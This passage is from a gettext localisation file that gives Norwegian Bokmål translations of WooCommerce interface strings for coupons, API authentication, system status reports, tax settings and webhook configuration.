#: includes/wc-product-functions.php:414
#: assets/client/blocks/order-confirmation-additional-fields.js:1
#: assets/client/blocks/order-confirmation-billing-address.js:1
#: assets/client/blocks/order-confirmation-shipping-address.js:1
msgid "Placeholder"
msgstr "Plassholder"
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:272
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:306
msgid "The coupon code already exists"
msgstr "Rabattkoden finnes allerede"
#. translators: %s: parameter
#: includes/class-wc-auth.php:172
msgid "Missing parameter %s"
msgstr "Mangler parameter %s"
#: includes/abstracts/abstract-wc-order.php:1273
msgid "Invalid coupon code"
msgstr "Ugyldig rabattkode"
#: includes/class-wc-rest-authentication.php:666
msgid "WooCommerce API. Use a consumer key in the username field and a consumer secret in the password field."
msgstr "WooCommerce API. Bruk en kundenøkkel i brukernavnfeltet og en kundehemmelighet i passordfeltet."
#: includes/class-wc-rest-authentication.php:212
msgid "Consumer secret is invalid."
msgstr "Kundehemmelighet er ugyldig."
#: includes/admin/views/html-report-by-date.php:39
msgid "Custom:"
msgstr "Tilpasset:"
#: includes/admin/views/html-notice-template-check.php:26
msgid "Learn more about templates"
msgstr "Lær mer om maler"
#: includes/admin/views/html-notice-install.php:15
msgid "Skip setup"
msgstr "Hopp over oppsett"
#: includes/admin/views/html-notice-install.php:15
msgid "Run the Setup Wizard"
msgstr "Kjør konfigureringsveiviseren"
#: includes/admin/views/html-notice-install.php:14
msgid "<strong>Welcome to WooCommerce</strong> – You‘re almost ready to start selling :)"
msgstr "<strong>Velkommen til WooCommerce</strong> – Du er nesten klar til å begynne selge. :)"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:629
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:815
#: includes/admin/views/html-bulk-edit-product.php:363
#: includes/export/class-wc-product-csv-exporter.php:147
msgid "Sold individually?"
msgstr "Solgt individuelt?"
#: includes/admin/views/html-bulk-edit-product.php:346
#: includes/admin/views/html-quick-edit-product.php:218
msgid "Backorders?"
msgstr "Restordre?"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:625
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:811
#: includes/admin/views/html-bulk-edit-product.php:288
#: includes/admin/views/html-quick-edit-product.php:190
#: includes/export/class-wc-product-csv-exporter.php:143
msgid "In stock?"
msgstr "På lager?"
#: includes/admin/views/html-bulk-edit-product.php:257
#: includes/admin/views/html-quick-edit-product.php:161
msgid "Catalog & search"
msgstr "Katalog & søk"
#: includes/admin/views/html-bulk-edit-product.php:251
#: includes/admin/views/html-quick-edit-product.php:154
msgid "Visibility"
msgstr "Synlighet"
#. translators: %s: Height unit
#. translators: %s: dimension unit
#. translators: %s is dimension unit label
#. translators: %s: Height
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:637
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:826
#: includes/admin/views/html-bulk-edit-product.php:228
#: includes/export/class-wc-product-csv-exporter.php:155
msgid "Height (%s)"
msgstr "Høyde (%s)"
#. translators: %s: Width unit
#. translators: %s: dimension unit
#. translators: %s is dimension unit label
#. translators: %s: width
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:635
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:824
#: includes/admin/views/html-bulk-edit-product.php:220
#: includes/export/class-wc-product-csv-exporter.php:153
msgid "Width (%s)"
msgstr "Bredde (%s)"
#. translators: %s: Length unit
#. translators: %s: dimension unit
#. translators: %s is dimension unit label
#. translators: %s: length
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:633
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:822
#: includes/admin/views/html-bulk-edit-product.php:212
#: includes/export/class-wc-product-csv-exporter.php:151
msgid "Length (%s)"
msgstr "Lengde (%s)"
#: includes/admin/views/html-bulk-edit-product.php:188
#: includes/admin/views/html-quick-edit-product.php:125
msgid "L/W/H"
msgstr "L/B/H"
#: includes/admin/views/html-bulk-edit-product.php:69
msgid "Enter sale price (%s)"
msgstr "Legg inn tilbudspris (%s)"
#: includes/admin/views/html-bulk-edit-product.php:34
msgid "Decrease existing price by (fixed amount or %):"
msgstr "Redusere nåværende pris med (fast beløp eller %):"
#: includes/admin/class-wc-admin-marketplace-promotions.php:343
#: includes/admin/views/html-bulk-edit-product.php:50
#: includes/admin/views/html-quick-edit-product.php:43
#: packages/email-editor/src/Integrations/WooCommerce/Renderer/Blocks/class-product-image.php:108
#: packages/email-editor/src/Integrations/WooCommerce/Renderer/Blocks/class-product-sale-badge.php:49
#: src/Blocks/BlockTypes/AbstractProductGrid.php:628
#: src/Blocks/BlockTypes/ProductSaleBadge.php:80
#: assets/client/blocks/all-products.js:6
#: assets/client/blocks/cart-frontend.js:1 assets/client/blocks/cart.js:12
#: assets/client/blocks/product-image-frontend.js:4
#: assets/client/blocks/product-image.js:4
#: assets/client/blocks/product-sale-badge-frontend.js:1
#: assets/client/blocks/product-sale-badge.js:1
msgid "Sale"
msgstr "Tilbud"
#: includes/admin/views/html-bulk-edit-product.php:44
msgid "Enter price (%s)"
msgstr "Legg inn pris (%s)"
#: includes/admin/views/html-bulk-edit-product.php:32
#: includes/admin/views/html-bulk-edit-product.php:56
#: includes/admin/views/html-bulk-edit-product.php:82
#: includes/admin/views/html-bulk-edit-product.php:156
#: includes/admin/views/html-bulk-edit-product.php:194
#: includes/admin/views/html-bulk-edit-product.php:329
msgid "Change to:"
msgstr "Endre til:"
#: includes/admin/views/html-bulk-edit-product.php:292
#: includes/admin/views/html-bulk-edit-product.php:350
#: includes/admin/views/html-quick-edit-product.php:194
msgid "— No Change —"
msgstr "— Ingen endring —"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:172
#: includes/admin/settings/class-wc-settings-emails.php:821
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:104
#: includes/admin/settings/views/html-keys-edit.php:131
#: includes/admin/views/html-admin-settings.php:83
#: src/Internal/Admin/Logging/Settings.php:436
#: templates/myaccount/form-edit-account.php:92
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/chunks/settings-payments-cheque.js:1
#: assets/client/admin/chunks/settings-payments-cod.js:1
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/blocks/wc-shipping-method-pickup-location.js:242
msgid "Save changes"
msgstr "Lagre endringer"
#: includes/admin/views/html-admin-page-status.php:14
#: includes/react-admin/connect-existing-pages.php:46
msgid "Logs"
msgstr "Logger"
#: includes/admin/views/html-admin-page-status.php:13
#: includes/react-admin/connect-existing-pages.php:45
#: assets/client/admin/chunks/9336.js:1
msgid "Tools"
msgstr "Verktøy"
#: includes/admin/views/html-admin-page-status-report.php:1047
#: includes/admin/views/html-admin-page-status-report.php:1077
msgid "Overrides"
msgstr "Overstyrer"
#: includes/admin/views/html-admin-page-status-report.php:1034
msgid "This section shows any files that are overriding the default WooCommerce template pages."
msgstr "Denne seksjonen viser filer som overstyrer standard WooCommerce malsider."
#: includes/admin/views/html-admin-page-status-report.php:1034
msgid "Templates"
msgstr "Maler"
#: includes/admin/views/html-admin-page-status-report.php:1022
msgid "Not declared"
msgstr "Ikke oppgitt"
#: includes/admin/views/html-admin-page-status-report.php:1018
msgid "Displays whether or not the current active theme declares WooCommerce support."
msgstr "Viser om det aktive temaet erklærer WooCommerce støtte."
#: includes/admin/views/html-admin-page-status-report.php:1017
msgid "WooCommerce support"
msgstr "WooCommerce support"
#: includes/admin/views/html-admin-page-status-report.php:997
msgid "The parent theme developers URL."
msgstr "Den overordnede tema utviklere URL."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:556
msgid "Parent theme author URL."
msgstr "Nettadresse til foreldretemaforfatter."
#: includes/admin/views/html-admin-page-status-report.php:984
msgid "The installed version of the parent theme."
msgstr "Den installerte versjonen av foreldretemaet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:550
msgid "Parent theme version."
msgstr "Foreldretemaversjon."
#: includes/admin/views/html-admin-page-status-report.php:979
msgid "The name of the parent theme."
msgstr "Foreldretemaets navn."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:544
msgid "Parent theme name."
msgstr "Foreldretemanavn."
#. Translators: %s docs link.
#: includes/admin/views/html-admin-page-status-report.php:971
msgid "If you are modifying WooCommerce on a parent theme that you did not build personally we recommend using a child theme. See: <a href=\"%s\" target=\"_blank\">How to create a child theme</a>"
msgstr "Hvis du endrer WooCommerce eller et foreldertema du ikke selv har bygget, anbefaler vi å bruke et dattertema. Se: <a href=\"%s\" target=\"_blank\">Hvordan lage et dattertema</a>"
#: includes/admin/views/html-admin-page-status-report.php:964
msgid "Displays whether or not the current theme is a child theme."
msgstr "Viser om gjeldende tema er et dattertema eller ikke."
#: includes/admin/views/html-admin-page-status-report.php:963
msgid "Child theme"
msgstr "Dattertema"
#: includes/admin/views/html-admin-page-status-report.php:959
msgid "The theme developers URL."
msgstr "Temaets utviklere URL."
#: includes/admin/views/html-admin-page-status-report.php:958
msgid "Author URL"
msgstr "Forfatter-URL"
#. translators: %s: parent theme latest version
#: includes/admin/views/html-admin-page-status-report.php:990
msgid "%s is available"
msgstr "%s er tilgjengelig"
#: includes/admin/views/html-admin-page-status-report.php:945
msgid "The installed version of the current active theme."
msgstr "Den installerte versjonen av gjeldende aktive trema."
#: includes/admin/views/html-admin-page-status-report.php:944
#: assets/client/admin/chunks/marketplace.js:1
msgid "Version"
msgstr "Versjon"
#: includes/admin/views/html-admin-page-status-report.php:940
msgid "The name of the current active theme."
msgstr "Navnet til gjeldende aktive tema."
#: includes/admin/views/html-admin-page-status-report.php:934
msgid "Theme"
msgstr "Tema"
#: includes/admin/views/html-admin-page-status-report.php:739
msgid "A list of taxonomy terms that can be used in regard to order/product statuses."
msgstr "En liste med taksonomitermer som kan benyttes med hensyn til ordre-/produktstatuser."
#. Translators: %1$s: shortcode text, %2$s: block slug.
#: includes/admin/views/html-admin-page-status-report.php:885
msgid "Page does not contain the %s shortcode."
msgstr "Siden inneholder ikke %s kortkoden."
#: includes/admin/reports/class-wc-report-downloads.php:168
msgid "File does not exist"
msgstr "Filen eksisterer ikke"
#: includes/admin/views/html-admin-page-status-report.php:872
msgid "Page not set"
msgstr "Side ikke satt"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:1560
msgctxt "Page setting"
msgid "My account"
msgstr "Min konto"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:1535
msgctxt "Page setting"
msgid "Checkout"
msgstr "Kasse"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:1510
msgctxt "Page setting"
msgid "Cart"
msgstr "Handlekurv"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:1507
msgctxt "Page setting"
msgid "Shop base"
msgstr "Butikkbase"
#: includes/admin/settings/views/html-webhooks-edit.php:134
msgid "API Version"
msgstr "API versjon"
#: includes/admin/views/html-admin-page-status-report.php:734
msgid "The number of decimal points shown in displayed prices."
msgstr "Antall desimaler som vises i prisene."
#: includes/admin/views/html-admin-page-status-report.php:729
msgid "The decimal separator of displayed prices."
msgstr "Desimalskilletegnet i viste priser."
#: includes/admin/views/html-admin-page-status-report.php:724
msgid "The thousand separator of displayed prices."
msgstr "Tusenskilletegnet i viste priser."
#: includes/admin/views/html-admin-page-status-report.php:719
msgid "The position of the currency symbol."
msgstr "Valutasymbolets posisjon."
#: includes/admin/views/html-admin-page-status-report.php:714
msgid "What currency prices are listed at in the catalog and which currency gateways will take payments in."
msgstr "I hvilken valuta priser er listet i katalogen og i hvilke valutaporter det skal betales."
#: includes/admin/views/html-admin-page-status-report.php:709
msgid "Does your site force a SSL Certificate for transactions?"
msgstr "Tvinger nettstedet ditt et SSL-sertifikat for transaksjoner?"
#: includes/admin/views/html-admin-page-status-report.php:708
msgid "Force SSL"
msgstr "Tving SSL"
#: includes/admin/class-wc-admin-status.php:443
msgid "Network enabled"
msgstr "Slått på i nettverket"
#: includes/admin/class-wc-admin-status.php:430
#: includes/admin/views/html-admin-page-status-report.php:676
msgid "Visit plugin homepage"
msgstr "Besøk pluginhjemmeside"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:379
msgid "Active plugins."
msgstr "Aktive utvidelser."
#: includes/admin/views/html-admin-page-status-report.php:519
msgid "Table does not exist"
msgstr "Tabellen eksisterer ikke"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:350
msgid "WC database version."
msgstr "WC databaseversjon."
#: includes/admin/views/html-admin-page-status-report.php:465
msgid "Database"
msgstr "Database"
#: includes/admin/views/html-admin-page-status-report.php:417
msgid "WooCommerce plugins may use this method of communication when checking for plugin updates."
msgstr "WooCommerce-utvidelser kan benytte denne kommunikasjonsmetoden ved sjekking av utvidelsesoppdateringer."
#: includes/admin/views/html-admin-page-status-report.php:416
msgid "Remote get"
msgstr "Remote get"
#. translators: %s: error message
#: includes/class-wc-ajax.php:1098 includes/wc-rest-functions.php:102
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "Error: %s"
msgstr "Feil: %s"
#: includes/admin/views/html-admin-page-status-report.php:403
msgid "PayPal uses this method of communicating when sending back transaction information."
msgstr "PayPal bruker denne metoden for å kommunisere når du sender tilbake informasjon transaksjonen."
#: includes/admin/views/html-admin-page-status-report.php:402
msgid "Remote post"
msgstr "Remote post"
#: includes/admin/views/html-admin-page-status-report.php:375
msgid "GZip (gzopen) is used to open the GEOIP database from MaxMind."
msgstr "GZip (gzopen) er brukt til å åpne GEOIP databasen fra MaxMind."
#. Translators: %s: classname and link.
#: includes/admin/views/html-admin-page-status-report.php:368
msgid "Your server does not have the %s class enabled - HTML/Multipart emails, and also some extensions, will not work without DOMDocument."
msgstr "Serveren din har ikke %sklassen slått på - HTML/Multipart e-poster, og også noen tilleggsmoduler, vil ikke virke uten DOMDocument."
#: includes/admin/views/html-admin-page-status-report.php:361
msgid "HTML/Multipart emails use DOMDocument to generate inline CSS in templates."
msgstr "HTML/Multipart emailer bruker DOMDocument til å generere inline CSS i temaene."
#: includes/admin/views/html-admin-page-status-report.php:347
msgid "Some webservices like shipping use SOAP to get information from remote servers, for example, live shipping quotes from FedEx require SOAP to be installed."
msgstr "Noen nettjeneste,r som frakt, benytter SOAP for å hente informasjon fra andre servere, for eksempel frakttilbud fra FedEx krever SOAP for å bli installert."
#: includes/admin/views/html-admin-page-status-report.php:340
msgid "Your server does not have fsockopen or cURL enabled - PayPal IPN and other scripts which communicate with other servers will not work. Contact your hosting provider."
msgstr "Serveren din har ikke fsockopen eller cURL slått på - PayPal IPN og andre skripter som kommuniserer med andre servere vil ikke fungere. Ta kontakt med webhotell-leverandøren din."
#: includes/admin/views/html-admin-page-status-report.php:334
msgid "Payment gateways can use cURL to communicate with remote servers to authorize payments, other plugins may also use it when communicating with remote services."
msgstr "Betalingsløsninger kan benytte cURL for å kommunisere med andre servere for å autorisere betalinger. Andre utvidelser kan også benytte denne når de kommuniserer med andre tjenester."
#. Translators: %s: default timezone..
#: includes/admin/views/html-admin-page-status-report.php:325
msgid "Default timezone is %s - it should be UTC"
msgstr "Standard tidssone er %s - det burde være UTC"
#: includes/admin/views/html-admin-page-status-report.php:320
msgid "The default timezone for your server."
msgstr "Standard tidssone på serveren din."
#: includes/admin/views/html-admin-page-status-report.php:319
msgid "Default timezone is UTC"
msgstr "Standard tidssone er UTC"
#: includes/admin/views/html-admin-page-status-report.php:315
msgid "The largest filesize that can be uploaded to your WordPress installation."
msgstr "Den største filstørrelsen som kan lastes opp på din WordPress-installasjon."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:264
msgid "Max upload size."
msgstr "Maks opplastingsstørrelse."
#: includes/admin/views/html-admin-page-status-report.php:300
msgid "The version of MySQL installed on your hosting server."
msgstr "MySQL-versjonen installert på din hosting-server."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:270
msgid "MySQL version."
msgstr "MySQL-versjon."
#: includes/admin/views/html-admin-page-status-report.php:289
msgid "Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits."
msgstr "Suhosin er et avansert beskyttelsessystem for PHP-installasjoner. Det er utformet for å beskytte dine servere på den ene siden mot en rekke kjente problemer i PHP-applikasjoner og på den annen side mot potensielle ukjente sårbarheter innenfor disse programmene eller PHP-kjernen selv. Hvis dette er slått på på serveren din, kan Suhosin måtte konfigureres til å øke sine datainnsendingsgrenser."
#: includes/admin/views/html-admin-page-status-report.php:288
msgid "SUHOSIN installed"
msgstr "SUHOSIN Installert"
#: includes/admin/views/html-admin-page-status-report.php:279
msgid "The maximum number of variables your server can use for a single function to avoid overloads."
msgstr "Maksimum antall variabler som serveren din kan bruke på en enkel funksjon for å unngp overbelastninger."
#: includes/admin/views/html-admin-page-status-report.php:278
msgid "PHP max input vars"
msgstr "PHP maks inputvariabler"
#: includes/admin/views/html-admin-page-status-report.php:274
msgid "The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)"
msgstr "Mengde tid (i sekunder) som nettstedet ditt vil bruke på en enkel operasjon før 'timing out' (for å unngå server-sperringer)"
#: includes/admin/views/html-admin-page-status-report.php:273
msgid "PHP time limit"
msgstr "PHP tidsbegrensning"
#: includes/admin/views/html-admin-page-status-report.php:269
msgid "The largest filesize that can be contained in one post."
msgstr "Den største filstørrelsen som kan brukes i ett innlegg."
#: includes/admin/views/html-admin-page-status-report.php:268
msgid "PHP post max size"
msgstr "PHP post maks størrelse"
#: includes/admin/views/html-admin-page-status-report.php:261
msgid "The version of PHP installed on your hosting server."
msgstr "PHP-versjonen installert på din hostingserver."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:228
msgid "PHP version."
msgstr "PHP-versjon."
#: includes/admin/views/html-admin-page-status-report.php:251
msgid "Information about the web server that is currently hosting your site."
msgstr "Informasjon om nettserveren som for øyeblikket er vert for nettstedet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:216
msgid "Server info."
msgstr "Serverinfo."
#: includes/admin/views/html-admin-page-status-report.php:245
msgid "Server environment"
msgstr "Servermiljø"
#: includes/admin/views/html-admin-page-status-report.php:226
msgid "The current language used by WordPress. Default = English"
msgstr "Gjeldende språk som brukes av WordPress. Standard = Engelsk"
#: includes/admin/views/html-admin-page-status-report.php:225
msgid "Language"
msgstr "Språk"
#: includes/admin/views/html-admin-page-status-report.php:204
msgid "Displays whether or not WordPress is in Debug Mode."
msgstr "Viser om WordPress er i debugmodus."
#: includes/admin/views/html-admin-page-status-report.php:190
msgid "The maximum amount of memory (RAM) that your site can use at one time."
msgstr "Maksimum minne (RAM) som nettstedet ditt kan benytte av gangen."
#: includes/admin/views/html-admin-page-status-report.php:185
msgid "Whether or not you have WordPress Multisite enabled."
msgstr "Om du har, eller ikke har, WordPress Multisite slått på."
#: includes/admin/views/html-admin-page-status-report.php:157
msgid "The version of WordPress installed on your site."
msgstr "WordPress-versjonen som er installert på nettstedet."
#: includes/admin/views/html-admin-page-status-report.php:137
msgid "Several WooCommerce extensions can write logs which makes debugging problems easier. The directory must be writable for this to happen."
msgstr "Flere WooCommerce utvidelser kan skrive logger som gjør debugging problemer enklere. Katalogen må være skrivbar for at dette skal skje."
#: includes/admin/views/html-admin-page-status-report.php:136
msgid "Log directory writable"
msgstr "Loggmappe skrivbar"
#: includes/admin/views/html-admin-page-status-report.php:96
msgid "The version of WooCommerce installed on your site."
msgstr "WooCommerce-versjonen som er installert på nettstedet."
#: includes/admin/views/html-admin-page-status-report.php:86
msgid "The root URL of your site."
msgstr "Nettadressen til roten for nettsted."
#: includes/admin/views/html-admin-page-status-report.php:80
msgid "WordPress environment"
msgstr "WordPress-miljøet"
#: includes/admin/views/html-admin-page-status-report.php:66
msgid "Copy for support"
msgstr "Kopier til support"
#: includes/admin/views/html-admin-page-status-report.php:56
msgid "Understanding the status report"
msgstr "Forstå statusrapporten"
#: includes/admin/views/html-admin-page-status-report.php:54
msgid "Get system report"
msgstr "Få Systemrapport"
#: includes/admin/views/html-admin-page-status-report.php:51
msgid "Please copy and paste this information in your ticket when contacting support:"
msgstr "Vennligst kopier og lim inn denne informasjonen i saken din når du kontakter support:"
#: includes/admin/views/html-admin-page-status-logs.php:53
msgid "There are currently no logs to view."
msgstr "Det finnes ingen logger akkurat nå."
#: includes/admin/class-wc-admin-addons.php:161 assets/client/blocks/cart.js:26
#: assets/client/blocks/checkout-frontend.js:3
#: assets/client/blocks/checkout.js:24 assets/client/blocks/checkout.js:28
#: assets/client/blocks/checkout.js:32
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:27
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:34
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "Free"
msgstr "Gratis"
#: src/Internal/Admin/Marketing.php:75 src/Internal/Admin/Marketing.php:76
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/homescreen.js:1
msgid "Marketing"
msgstr "Markedsføring"
#: includes/admin/settings/views/settings-tax.php:120
msgid "Itemized"
msgstr "Spesifisert"
#: includes/admin/settings/views/settings-tax.php:119
msgid "As a single total"
msgstr "Som en enkel total"
#: includes/admin/settings/views/settings-tax.php:113
msgid "Display tax totals"
msgstr "Vis totale avgifter"
#: includes/admin/settings/views/settings-tax.php:109
msgid "Define text to show after your product prices. This could be, for example, \"inc. Vat\" to explain your pricing. You can also have prices substituted here using one of the following: {price_including_tax}, {price_excluding_tax}."
msgstr "Definere tekst som vises etter dine produktpriser. Dette kan være for eksempel \"inkl. Mva\" for å forklare prissettingen. Du kan også erstatte prisene her ved å bruke ett av følgende: {price_including_tax}, {price_excluding_tax}."
#: includes/admin/settings/views/settings-tax.php:104
msgid "Price display suffix"
msgstr "Vis pris suffiks"
#: includes/admin/settings/views/settings-tax.php:89
msgid "Display prices during cart and checkout"
msgstr "Vis prisene i handlekurven og i kassen"
#: includes/admin/settings/views/settings-tax.php:84
#: includes/admin/settings/views/settings-tax.php:96
msgid "Excluding tax"
msgstr "Uten avgift"
#: includes/admin/settings/views/settings-tax.php:83
#: includes/admin/settings/views/settings-tax.php:95
msgid "Including tax"
msgstr "Inkludert avgift"
#: includes/admin/settings/views/settings-tax.php:77
msgid "Display prices in the shop"
msgstr "Vis prisene i butikken"
#: includes/admin/settings/views/settings-tax.php:66
msgid "Additional tax classes"
msgstr "Flere avgiftsklasser"
#: includes/admin/settings/views/settings-tax.php:59
msgid "Round tax at subtotal level, instead of rounding per line"
msgstr "Rund av avgift på delsumnivå, i stedet for avrunding per linje"
#: includes/admin/settings/views/settings-tax.php:58
msgid "Rounding"
msgstr "Avrunding"
#: includes/admin/settings/views/settings-tax.php:53
msgid "Shipping tax class based on cart items"
msgstr "Fraktavgiftsklasse basert på produkter i handlekurven"
#: includes/admin/settings/views/settings-tax.php:47
msgid "Optionally control which tax class shipping gets, or leave it so shipping tax is based on the cart items themselves."
msgstr "Valgfritt å styre hvilken avgiftsklasse frakt får, eller la det være så avgift på frakt er basert på produktene i handlekurven."
#: includes/admin/settings/views/settings-tax.php:46
msgid "Shipping tax class"
msgstr "Avgiftsklasse for frakt"
#: includes/admin/class-wc-admin-profile.php:43
#: includes/admin/settings/views/settings-tax.php:40
msgid "Customer billing address"
msgstr "Kundens fakturaadresse"
#: includes/admin/class-wc-admin-profile.php:96
#: includes/admin/settings/views/settings-tax.php:39
msgid "Customer shipping address"
msgstr "Kundens leveringsadresse"
#: includes/admin/settings/views/settings-tax.php:34
msgid "This option determines which address is used to calculate tax."
msgstr "Dette valget bestemmer hvilken adresse som skal brukes til å beregne avgift."
#: includes/admin/settings/views/settings-tax.php:32
msgid "Calculate tax based on"
msgstr "Beregn avgift basert på"
#: includes/admin/settings/views/settings-tax.php:27
msgid "No, I will enter prices exclusive of tax"
msgstr "Nei, jeg vil legge inn priser uten avgift"
#: includes/admin/settings/views/settings-tax.php:26
msgid "Yes, I will enter prices inclusive of tax"
msgstr "Ja, jeg skal legge inn priser inklusiv avgift"
#: includes/admin/settings/views/settings-tax.php:24
msgid "This option is important as it will affect how you input prices. Changing it will not update existing products."
msgstr "Dette valget er viktig fordi det vil påvirke hvordan du legger inn priser. Å endre det vil ikke oppdatere eksisterende produkter."
#: includes/admin/settings/views/settings-tax.php:20
msgid "Prices entered with tax"
msgstr "Priser lagt inn med mva"
#: includes/admin/settings/class-wc-settings-general.php:265
msgid "Enable taxes"
msgstr "Slå på avgifter"
#: includes/admin/settings/views/html-webhooks-edit.php:207
msgid "Save webhook"
msgstr "Lagre webhook"
#: includes/admin/settings/views/html-webhooks-edit.php:196
msgid "Updated at"
msgstr "Oppdatert"
#: includes/admin/settings/views/html-webhooks-edit.php:179
#: includes/admin/settings/views/html-webhooks-edit.php:188
msgid "Created at"
msgstr "Opprettet"
#: includes/admin/settings/views/html-webhooks-edit.php:172
msgid "Webhook actions"
msgstr "Webhook handlinger"
#: includes/admin/settings/views/html-webhooks-edit.php:123
msgid "Secret"
msgstr "Hemmelighet"
#: includes/admin/settings/views/html-webhooks-edit.php:113
msgid "URL where the webhook payload is delivered."
msgstr "URL der webhook'ens nyttelast er levert."
#: includes/admin/settings/views/html-webhooks-edit.php:102
msgid "Enter the action that will trigger this webhook."
msgstr "Fyll inn hendelsen som vil utløse denne webhook-en."
#: includes/admin/settings/views/html-webhooks-edit.php:101
msgid "Action event"
msgstr "Handlingshendelse"
#: includes/customizer/class-wc-shop-customizer.php:711
#: assets/client/admin/components/index.js:2
#: assets/client/admin/date/index.js:1
#: assets/client/blocks/product-collection.js:3
msgid "Custom"
msgstr "Tilpasset"
#: includes/admin/settings/views/html-webhooks-edit.php:84
msgid "Action"
msgstr "Handling"
#: includes/admin/settings/views/html-webhooks-edit.php:82
msgid "Product deleted"
msgstr "Produkt slettet"
#: includes/admin/settings/views/html-webhooks-edit.php:81
msgid "Product updated"
msgstr "Produkt oppdatert"
#: includes/admin/settings/views/html-webhooks-edit.php:80
msgid "Product created"
msgstr "Produkt opprettet"
#: includes/admin/settings/views/html-webhooks-edit.php:78
msgid "Order deleted"
msgstr "Ordre slettet"
#: includes/admin/settings/views/html-webhooks-edit.php:77
msgid "Order updated"
msgstr "Ordre oppdatert"
#: includes/admin/settings/views/html-webhooks-edit.php:76
msgid "Order created"
msgstr "Ordre opprettet"
#: includes/admin/settings/views/html-webhooks-edit.php:75
msgid "Customer deleted"
msgstr "Kunde slettet"
#: includes/admin/settings/views/html-webhooks-edit.php:74
msgid "Customer updated"
msgstr "Kunde oppdatert"
#: includes/admin/settings/views/html-webhooks-edit.php:73
msgid "Customer created"
msgstr "Kunde opprettet"
#: includes/admin/settings/views/html-webhooks-edit.php:71
msgid "Coupon deleted"
msgstr "Rabattkode slettet"
#: includes/admin/settings/views/html-webhooks-edit.php:70
msgid "Coupon updated"
msgstr "Rabattkode oppdatert"
#: includes/admin/settings/views/html-webhooks-edit.php:69
msgid "Coupon created"
msgstr "Rabattkode opprettet"
#: includes/admin/settings/views/html-webhooks-edit.php:57
msgid "Select when the webhook will fire."
msgstr "Velg når webhook'en skal kjøres."
#: includes/admin/settings/views/html-webhooks-edit.php:37
msgid "The options are "Active" (delivers payload), "Paused" (does not deliver), or "Disabled" (does not deliver due delivery failures)."
msgstr "Valgene er \"Aktiv\" (leverer nyttelast), \"På pause\" (leverer ikke), eller \"Slått av\" (leverer ikke pga leveringsfeil)."
#. translators: %s: date
#: includes/admin/settings/views/html-webhooks-edit.php:25
msgid "Friendly name for identifying this webhook, defaults to Webhook created on %s."
msgstr "Vennlig navn for å identifisere denne webhook'en, tilbakestilles til standard som er opprettet den %s."
#: includes/admin/settings/views/html-webhooks-edit.php:16
msgid "Webhook data"
msgstr "Webhook data"
#: includes/wc-account-functions.php:266
msgid "Method"
msgstr "Måte"
#: includes/admin/settings/class-wc-settings-tax.php:253
#: includes/admin/settings/views/html-settings-tax.php:37
msgid "Tax name"
msgstr "Avgiftsnavn"
#: includes/admin/settings/class-wc-settings-tax.php:249
#: includes/admin/settings/views/html-settings-tax.php:33
msgid "State code"
msgstr "Delstatskode"
#: includes/admin/settings/class-wc-settings-tax.php:248
msgid "Country code"
msgstr "Landkode"
#: includes/admin/settings/class-wc-settings-tax.php:245
msgid "No row(s) selected"
msgstr "Ingen rader valgt"
#: includes/admin/settings/views/html-settings-tax.php:49
msgid "Import CSV"
msgstr "Importer CSV"
#: includes/admin/settings/views/html-settings-tax.php:47
msgid "Remove selected row(s)"
msgstr "Fjern valgte rad(er)"
#: includes/admin/settings/views/html-settings-tax.php:46
msgid "Insert row"
msgstr "Sett inn rad"
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:454
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1350
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1423
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1498
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1563
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:523
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:608
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:714
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:806
